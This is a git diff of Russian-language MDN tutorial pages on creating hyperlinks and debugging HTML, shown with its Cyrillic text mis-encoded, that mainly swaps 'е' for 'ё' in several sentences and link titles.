<p>Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ страницы Π² ΠΎΠ΄Π½ΠΎΠΌΒ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ (Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a>):</p>
@@ -281,10 +281,10 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<p>Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ:</p>
<ol>
- <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ нСупорядочСнный список Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ мСстС Π² любом html-Ρ„Π°ΠΉΠ»Π΅. Бписок Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· ΠΈΠΌΠ΅Π½ страниц (index, projects ΠΈ Ρ‚.Π΄.). МСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставляСт собой список ссылок, поэтому созданиС нСупорядочСнного списка сСмантичСски Π²Π΅Ρ€Π½ΠΎ.</li>
+ <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ нСупорядочСнный список Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ мСстС Π² любом html-Ρ„Π°ΠΉΠ»Π΅. Бписок Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· ΠΈΠΌΡ‘Π½ страниц (index, projects ΠΈ Ρ‚.Π΄.). МСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдставляСт собой список ссылок, поэтому созданиС нСупорядочСнного списка сСмантичСски Π²Π΅Ρ€Π½ΠΎ.</li>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ссылки ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту списка, Π²Π΅Π΄ΡƒΡ‰ΠΈΠ΅ Π½Π° эти страницы.</li>
<li>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ созданноС мСню Π² ΠΊΠ°ΠΆΠ΄ΡƒΡŽ страницу.</li>
- <li>На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылку, которая ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° эту ΠΆΠ΅ страницу (Π½Π° страницС index.html ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ссылку index ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅). Π”Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, Π½Π°Ρ…ΠΎΠ΄ΡΡΡŒ Π½Π° страницС index.html, Π½Π°ΠΌ Π½Π΅Π·Π°Ρ‡Π΅ΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ссылку Π² мСню Π½Π° эту ΠΆΠ΅ страницу. Π‘ ΠΎΠ΄Π½ΠΎΠΉ стороны, Π½Π°ΠΌ Π½Π΅Π·Π°Ρ‡Π΅ΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° эту ΠΆΠ΅ страницу, с Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠ΅ΠΌ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, смотря Π½Π° мСню, Π² ΠΊΠ°ΠΊΠΎΠΉ части сайта ΠΌΡ‹ находимся.</li>
+ <li>На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылку, которая ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° эту ΠΆΠ΅ страницу (Π½Π° страницС index.html ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ссылку index ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅). Π”Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, Π½Π°Ρ…ΠΎΠ΄ΡΡΡŒ Π½Π° страницС index.html, Π½Π°ΠΌ Π½Π΅Π·Π°Ρ‡Π΅ΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ссылку Π² мСню Π½Π° эту ΠΆΠ΅ страницу. Π‘ ΠΎΠ΄Π½ΠΎΠΉ стороны, Π½Π°ΠΌ Π½Π΅Π·Π°Ρ‡Π΅ΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° эту ΠΆΠ΅ страницу, с Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΡ‘ΠΌ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, смотря Π½Π° мСню, Π² ΠΊΠ°ΠΊΠΎΠΉ части сайта ΠΌΡ‹ находимся.</li>
</ol>
<p>Когда Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅ Π·Π°Π΄Π°Π½ΠΈΠ΅, посмотритС, ΠΊΠ°ΠΊ это Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ:</p>
@@ -292,7 +292,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<p><img alt="An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items" src="https://mdn.mozillademos.org/files/12411/navigation-example.png" style="display: block; margin: 0 auto;"></p>
<div class="note">
-<p>Если Π½Π΅ удаСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΈΠ»ΠΈ Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ сдСлали Π²Π΅Ρ€Π½ΠΎ, посмотритС наш Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Β <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a>.</p>
+<p>Если Π½Π΅ удаётся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΈΠ»ΠΈ Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ сдСлали Π²Π΅Ρ€Π½ΠΎ, посмотритС наш Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Β <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a>.</p>
</div>
<h2 id="Бсылки_элСктронной_ΠΏΠΎΡ‡Ρ‚Ρ‹">Бсылки элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹</h2>
@@ -345,7 +345,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/debugging_html/index.html b/files/ru/learn/html/introduction_to_html/debugging_html/index.html
index e80ec52b6d..0a64f58205 100644
--- a/files/ru/learn/html/introduction_to_html/debugging_html/index.html
+++ b/files/ru/learn/html/introduction_to_html/debugging_html/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<h2 id="ΠžΡ‚Π»Π°Π΄ΠΊΠ°_β€”_это_Π½Π΅_ΡΡ‚Ρ€Π°ΡˆΠ½ΠΎ">ΠžΡ‚Π»Π°Π΄ΠΊΠ° — это Π½Π΅ ΡΡ‚Ρ€Π°ΡˆΠ½ΠΎ</h2>
-<p>Π’ΠΎ врСмя написания ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΊΠΎΠ΄Π°, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ всС ΠΈΠ΄Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ, ΠΏΠΎΠΊΠ° Π½Π΅ появляСтся тот ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ. Π˜Ρ‚Π°ΠΊ, ваш ΠΊΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ Π·Π°Π΄ΡƒΠΌΡ‹Π²Π°Π»ΠΈ. Если вы ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΡƒΡŽΒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π½Π° языкС <a href="https://www.rust-lang.org/">Rust</a>, компилятор ΡƒΠΊΠ°ΠΆΠ΅Ρ‚ Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ:</p>
+<p>Π’ΠΎ врСмя написания ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΊΠΎΠ΄Π°, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ всС ΠΈΠ΄Ρ‘Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ, ΠΏΠΎΠΊΠ° Π½Π΅ появляСтся тот ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ. Π˜Ρ‚Π°ΠΊ, ваш ΠΊΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ Π·Π°Π΄ΡƒΠΌΡ‹Π²Π°Π»ΠΈ. Если вы ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΡƒΡŽΒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π½Π° языкС <a href="https://www.rust-lang.org/">Rust</a>, компилятор ΡƒΠΊΠ°ΠΆΠ΅Ρ‚ Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ:</p>
<p><img alt="A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string." src="https://mdn.mozillademos.org/files/12435/error-message.png" style="display: block; height: 520px; margin: 0px auto; width: 711px;">Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, сообщСниС об ошибкС ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ просто — "unterminated double quote string". Если Π²Ρ‹ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π°Β <code>println!(Hello, world!");</code>Β , Ρ‚ΠΎ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ здСсь отсутствуСт двойная ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°. РазумССтся, сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ ΠΊΡƒΠ΄Π° Π±ΠΎΠ»Π΅Π΅ слоТными для понимания ΠΏΠΎ мСрС роста вашСго ΠΊΠΎΠ΄Π°, ΠΈ Π΄Π°ΠΆΠ΅ самыС простыС случаи ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΏΡƒΠ³Π°ΡŽΡ‰ΠΈΠΌΠΈ для Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π·Π½Π°Π΅Ρ‚ ΠΎ Rust.</p>
@@ -43,7 +43,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<h3 id="Π’ΠΎΠ»Π΅Ρ€Π°Π½Ρ‚Π½Ρ‹ΠΉ_ΠΊΠΎΠ΄">Π’ΠΎΠ»Π΅Ρ€Π°Π½Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄</h3>
-<p>Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»Π΅Ρ€Π°Π½Ρ‚Π½Ρ‹ΠΉ? Π’Β ΠΎΠ±Ρ‰ΠΈΡ… Ρ‡Π΅Ρ€Ρ‚Π°Ρ…, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°ΠΏΠΎΡ€Ρ‚Π°Ρ‡ΠΈΠ»ΠΈΒ Π² ΠΊΠΎΠ΄Π΅, Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° ошибок, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ:</p>
+<p>Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»Π΅Ρ€Π°Π½Ρ‚Π½Ρ‹ΠΉ? Π’Β ΠΎΠ±Ρ‰ΠΈΡ… Ρ‡Π΅Ρ€Ρ‚Π°Ρ…, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°ΠΏΠΎΡ€Ρ‚Π°Ρ‡ΠΈΠ»ΠΈΒ Π² ΠΊΠΎΠ΄Π΅, Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° ошибок, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ:</p>
<ul>
<li><strong>БинтаксичСскиС ошибки (Syntax errors)</strong>: Π­Ρ‚ΠΎ ошибки Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ написания, ΠΊΠ°ΠΊ это Π±Ρ‹Π»ΠΎ Π²Ρ‹ΡˆΠ΅,Β Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с Rust. Π’Π°ΠΊΠΈΠ΅Β ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΈΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ, Π² Ρ‚ΠΎΠΉ ΠΌΠ΅Ρ€Π΅, Π² ΠΊΠ°ΠΊΠΎΠΉ Π²Ρ‹ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с синтаксисом языка ΠΈ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</li>
@@ -94,7 +94,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DOM инспСктор, Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π΄Π΅Ρ‚Π°Π»ΠΈ нашСго ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пытаСтся ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ наши ошибки Π² HTMLΒ (ΠΌΡ‹ ΠΎΠ±ΠΎΠ·Ρ€Π΅Π²Π°Π΅ΠΌ Π² Firefox; Π΄Ρ€ΡƒΠ³ΠΎΠΉ соврСмСнный Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π΄Π°Ρ‚ΡŒ Ρ‚Π΅ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹):
<ul>
<li>ΠŸΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ ΠΈ элСмСнты списка ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ с Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈ Ρ‚Π΅Π³Π°ΠΌΠΈ.</li>
- <li>Π‘Ρ‹Π»ΠΎ Π½Π΅ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Π³Π΄Π΅ элСмСнт <code>&lt;strong&gt;</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Π» Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒΡΡ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Π΅Ρ€Π½ΡƒΠ» ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π±Π»ΠΎΠΊ тСкста своими собствСнными Ρ‚Π΅Π³Π°ΠΌΠΈ strong, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ Π΄ΠΎ самого Π½ΠΈΠ·Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°!</li>
+ <li>Π‘Ρ‹Π»ΠΎ Π½Π΅ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Π³Π΄Π΅ элСмСнт <code>&lt;strong&gt;</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Π» Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒΡΡ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Π΅Ρ€Π½ΡƒΠ» ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π±Π»ΠΎΠΊ тСкста своими собствСнными Ρ‚Π΅Π³Π°ΠΌΠΈ strong, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ Π΄ΠΎ самого Π½ΠΈΠ·Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°!</li>
<li>НСкоррСктная Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ Π±Ρ‹Π»Π° исправлСна Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
<pre class="brush: html">&lt;strong&gt;strong
&lt;em&gt;strong emphasised?&lt;/em&gt;
@@ -115,7 +115,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<p>Из ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²Ρ‹ΡˆΠ΅ ясно, Ρ‡Ρ‚ΠΎ стоит ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ HTML.Β Π’ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ свСрху ΠΌΠΎΠΆΠ½ΠΎ просто ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ вСсь ΠΊΠΎΠ΄ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ошибки, Π½ΠΎ ΠΊΠ°ΠΊ Π±Ρ‹Ρ‚ΡŒ с ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΌΠΈ, слоТными страницами?</p>
-<p>Π›ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ страницу Π²Β Β <a href="https://validator.w3.org/">сСрвисС Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>.Β Π•Π³ΠΎ создал ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ W3C — организация, которая занимаСтся спСцификациями HTML, CSS ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. БСрвис ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ ваш HTML ΠΈ составит ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΏΠΎ ошибкам Π² Π½Π΅ΠΌ.</p>
+<p>Π›ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ страницу Π²Β Β <a href="https://validator.w3.org/">сСрвисС Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>.Β Π•Π³ΠΎ создал ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ W3C — организация, которая занимаСтся спСцификациями HTML, CSS ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. БСрвис ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ ваш HTML ΠΈ составит ΠΎΡ‚Ρ‡Ρ‘Ρ‚ ΠΏΠΎ ошибкам Π² Π½Π΅ΠΌ.</p>
<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p>
@@ -138,10 +138,10 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<h4 id="Π Π°Π±ΠΎΡ‚Π°_с_сообщСниями_ΠΎΠ±_ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…">Π Π°Π±ΠΎΡ‚Π° с сообщСниями ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…</h4>
